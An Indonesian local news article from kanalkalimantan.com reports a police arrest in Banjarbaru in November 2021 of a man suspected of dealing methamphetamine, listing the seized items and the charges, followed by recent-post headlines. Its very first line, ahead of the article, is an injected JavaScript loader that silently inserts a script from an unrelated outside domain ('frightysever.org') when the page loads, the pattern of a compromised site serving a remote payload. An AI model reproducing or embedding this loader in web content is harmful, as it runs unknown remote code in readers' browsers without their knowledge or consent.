(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

5,4 Gram Sabu Antar Hairil ke Polisi, Ditangkap di Gang Purnama Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Diduga pengedar sabu seorang laki-laki diringkus Satuan Resnarkoba Polres Banjarbaru di Gang Purnama RT 02 RW 06, Kelurahan Komet, Kecamatan Banjarbaru Utara pada Jumat (26/11/2021) sekitar pukul 10.30 Wita.

Penangkapan ini berdasarkan laporan di tempat tersebut sering dijadikan tempat peredaran dan penyalahgunaan narkotika jenis sabu yang dilakukan HA alias Hairil (37).

Kapolres Banjarbaru, AKBP Nur Khamid melalu Kasi Humas Polres Banjarbaru AKP Tajudin Noor mengatakan, dari hasil penangkapan didapati 12 barang bukti yang berhasil diamankan Satrenarkoba Polres Banjarbaru ketika sedang melakukan penggeledahan kepada pelaku.

“Kita juga berhasil mengamankan pelaku beserta barang bukti, kemudian dibawa ke Polres Banjarbaru guna proses lebih lanjut,” ujarnya.

 

 

Baca juga: Korban Tenggelam di Teluk Selong Ditemukan 10 Kilometer dari Titik Tenggelam

Adapun barang bukti yang berhasil diamankan pihak kepolisian yakni tiga belas lembar plastik klip yang didalamnya terdapat sabu berat kotor 7,8 gram dan berat bersih 5,4 gram, lima lembar plastik klip, lima batang pipet terbuat dari kaca sisa sabu. Tiga lembar kertas tisuee warna putih, satu buah bong terbuat dari botol Wooods yang di atasnya terdapat satu batang sedotan plastik warrna putih, satu buah tutup bong yang di atasnya terdapat dua batang sedotan plastik warna putih, dan satu buah timbangan digital Scale warna hitam.

Dari tangan Hairil juga diamankan satu buah kotak plastik warna bening, satu bungkus plastik klip, satu lembar jaket tangan panjang Fashion warna coklat, satu buah handphone merek VIVO warna biru silver dan satu buah kotak bertulisan Earbuds Basic warna biru.

Atas temuan barang haram tersebut tersangka diganjar Pasal 114 ayat (2) Sub Pasal 112 ayat (2) UU RI No. 35 Tahun 2009 Tentang Narkotika.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Galian C Tak Berizin di Banjarbaru, Polisi Tangkap Operator Eksavator

KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin… Read More

3 jam ago

Bandara Syamsudin Noor Prediksi Arus Balik Libur Nataru Bersamaan Haul Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Bandara Syamsudin Noor Banjarmasin akan kembali mempersiapkan kedatangan tamu jemaah Haul ke-20… Read More

7 jam ago

Bearing Baja Nyangkut di Alat Kelamin Lelaki, Damkar Turun Tangan

KANALKALIMANTAN.COM, SAMARINDA - Aksi petugas Dinas Pemadam Kebakaran (Damkar) Kota Samarinda, Kalimantan Timur, saat memotong… Read More

11 jam ago

Jemaat Gereja Katedral Banjarmasin Khidmat Ikuti Misa Natal

KANALKALIMANTAN.COM, BANJARMASIN – Salah satu tempat ibadah yang melaksanakan ibadah Misa Natal 2024, Gereja Katedral… Read More

13 jam ago

Libur Akhir Tahun, Ini Tiga Tempat Wisata Estetik Tak Jauh dari Ibu Kota Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More

16 jam ago

Jelang Misa Natal Semua Gereja di Banjarmasin Disterilisasi

KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More

1 hari ago

This website uses cookies.